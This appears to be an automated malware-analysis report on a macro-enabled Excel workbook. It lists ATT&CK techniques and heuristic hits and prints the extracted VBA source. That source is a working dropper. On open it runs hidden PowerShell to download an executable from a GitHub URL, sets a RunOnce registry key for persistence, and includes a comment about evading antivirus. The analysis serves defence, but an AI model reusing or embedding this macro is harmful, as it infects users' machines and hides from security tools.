MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1547.001 Registry Run Keys / Startup Folder
T1105 Ingress Tool Transfer
The Workbook_Open macro executes a PowerShell command to download a file named LivingOffTheLand.exe from a GitHub URL. It then uses WScript.Shell to write a registry value to HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate, pointing to C:\Users\gilles\Downloads\binary.exe, which is likely the downloaded payload, establishing persistence.
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
If strPath = "Book1.xlsm" Then x = Shell("powershell.exe curl -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0) -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
' The quietest way to execute is to write a registry key in RunOnce Dim WshShell: Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ" -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
If strPath = "Book1.xlsm" Then x = Shell("powershell.exe curl -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
' The quietest way to execute is to write a registry key in RunOnce Dim WshShell: Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub Workbook_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1372 bytes |
SHA-256: 7e9444ee799b201ba6da5d386aede9dc93903feef1d62f90d01b1c8c3f11fa56 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
Dim strPath As String
strPath = ThisWorkbook.Name
'MsgBox (strPath)
'The AV might change the name of the file to analyze it, this can help to evade
If strPath = "Book1.xlsm" Then
x = Shell("powershell.exe curl -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0)
' The quietest way to execute is to write a registry key in RunOnce
Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ"
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub exploit()
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 34816 bytes |
SHA-256: a4174383ba5711ce8340be1aa3d9c2e949cf07c2193c94f4a0618023ed4b468a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.